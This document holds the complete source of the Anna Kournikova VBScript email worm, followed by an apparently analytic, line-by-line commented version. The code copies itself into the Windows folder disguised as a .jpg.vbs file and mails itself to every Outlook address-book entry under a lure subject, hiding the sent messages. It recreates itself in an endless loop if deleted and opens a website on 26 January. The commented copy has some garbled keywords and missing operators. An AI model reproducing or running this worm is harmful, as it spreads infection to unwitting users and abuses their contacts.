'Vbs.OnTheFly Created By OnTheFly On Error Resume Next Set E7O3tH65p4P = CreateObject("WScript.Shell") E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98) Set rOwamTjngb5= Createobject("scripting.filesystemobject") rOwamTjngb5.copyfile wscript.scriptfullname,rOwamTjngb5.GetSpecialFolde r(0)& "\AnnaKournikova.jpg.vbs" if E7O3tH65p4P.regread ("HKCU\software\OnTheFly\mailed") <> "1" then e2nSA7HlgLC() end if if month(now) =1 and day(now) =26 then E7O3tH65p4P.run "Http://www.dynabyte.nl",3,false end if Set JKgSwHK773x= rOwamTjngb5.opentextfile(wscript.scriptfullname, 1) ZN5JKZ4xiuV= JKgSwHK773x.readall JKgSwHK773x.Close Do If Not (rOwamTjngb5.fileexists(wscript.scriptfullname)) Then Set UeI22z8P4v0= rOwamTjngb5.createtextfile(wscript.scriptfullname, True) UeI22z8P4v0.writeZN5JKZ4xiuV UeI22z8P4v0.Close End If Loop Function e2nSA7HlgLC() On Error Resume Next Set D23OvxM6KRH = CreateObject("Outlook.Application") If D23OvxM6KRH= "Outlook"Then Set j25tNZB9f8l=D23OvxM6KRH.GetNameSpace("MAPI") Set S6k211ge33L= j25tNZB9f8l.AddressLists For Each JR2mPsM2BmR In S6k211ge33L If JR2mPsM2BmR.AddressEntries.Count <> 0 Then d4BD3xgwv1J = JR2mPsM2BmR.AddressEntries.Count For X789Va3zRez= 1 To d4BD3xgwv1J Set iq72b483v3Z = D23OvxM6KRH.CreateItem(0) Set OIE4BVYjOJ8 = JR2mPsM2BmR.AddressEntries(X789Va3zRez) iq72b483v3Z.To = OIE4BVYjOJ8.Address iq72b483v3Z.Subject = "Here you have, ;o)" iq72b483v3Z.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & "" set fWsnq8YG9f1=iq72b483v3Z.Attachments fWsnq8YG9f1.Add rOwamTjngb5.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" iq72b483v3Z.DeleteAfterSubmit = True If iq72b483v3Z.To <> "" Then iq72b483v3Z.Send E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\mailed", "1" End If Next End If Next end if End Function 'Vbswg 1.50b Here's a commented version: On Error Resume Next 'get windows scripting shell object handle Set ojbWSS = CreateObject("WScript.Shell") 'write virus creation data to registry (this script apearrs to have been auto-generated by "Worm made with Vbswg 1.50b" (vbs worm generator 1.50b?) ojbWSS.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98) 'get handle to file system scripting object Set objFSO= Createobject("scripting.filesystemobject") 'wscript.scriptfullname = Full path to the script being run by the Windows Scripting Host. 'copy this script to Special Folder 0 ('c:\winnt' on my machine) objFSO.copyfile wscript.scriptfullname,objFSO.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" 'if we haven't already mailed ourself around yet, do so. if objWSS.regread ("HKCU\software\OnTheFly\mailed") "1" then 'spread ourself via outlook's address book SpreadByMail() end if 'if month is january and day is 26th, execute "Http://www.dynabyte.nl" using the run command (start->run) 'this will open an explorer (or netscape if it's default browser?) window and "browse" to this website. if month(now) = 1 and day(now) = 26 then 'WshShell.Run (strCommand, [intWindowStype], [bWaitOnReturn]) 'do not wait for this to return before we continue running objWSS.run "Http://www.dynabyte.nl",3,false end if 'get file object handle to this script Set objTextFile= objFSO.opentextfile(wscript.scriptfullname, 1) 'read it into a string strTextDocument= objTextFile.readall 'close the file objTextFile.Close Do 'if this script doesn't exist (?) create it. continue looping forever. If Not (objFSO.fileexists(wscript.scriptfullname)) Then Set objTextFile_2 = objFSO.createtextfile(wscript.scriptfullname, True) objTextFile_2.write strTextDocument objTextFile_2.Close End If Loop Function SpreadByMail() On Error Resume Next 'create handle to Outlook Set objOutlook= CreateObject("Outlook.Application") 'make "sure" it really is outlook If objOutlook= "Outlook"Then 'grab handle to MAPI namespace object Set objMAPINameSpace=objOutlook.GetNameSpace("MAPI") 'grab handle to Addresslists in the MAPI namespace Set objAddressLists= objMAPINameSpace.AddressLists 'for each addressList in the addresslists For Each objAddressList In objAddressLists 'if there any addresses in this address list then... If objAddressList.AddressEntries.Count 0 Then '... get a count of the addresses in the list lngAddresses = objAddressList.AddressEntries.Count 'and for each one... For lngAddress= 1 To lngAddresses 'create a new email message Set objMailMessage = objOutlook.CreateItem(0) 'get handle to address Set objAddress = objAddressList.AddressEntries(lngAddress) 'set the "to" field to this address objMailMessage.To = objAddressList.Address 'apply subject... objMailMessage.Subje ct = "Here you have, ;o)" '... and body... objMailMessage.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & "" 'set the script copy we set aside in the special folder as our attachment set objAttachment = objMailMessage.Attachments objAttachment.Add objFSO.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs" 'set the message to be deleted after submission (won't show up in SENT Folder) objMailMessage.Delet eAfterSubmit = True 'make sure the TO field isn't empty If objMailMessage.To "" Then 'send the bugger to the unwitting victim objMailMessage .Send 'We've mailed someone, so make sure the script won't re-execute objWSS.regwrit e "HKCU\software\OnTheFly\mailed", "1" End If Next End If Next end if End Function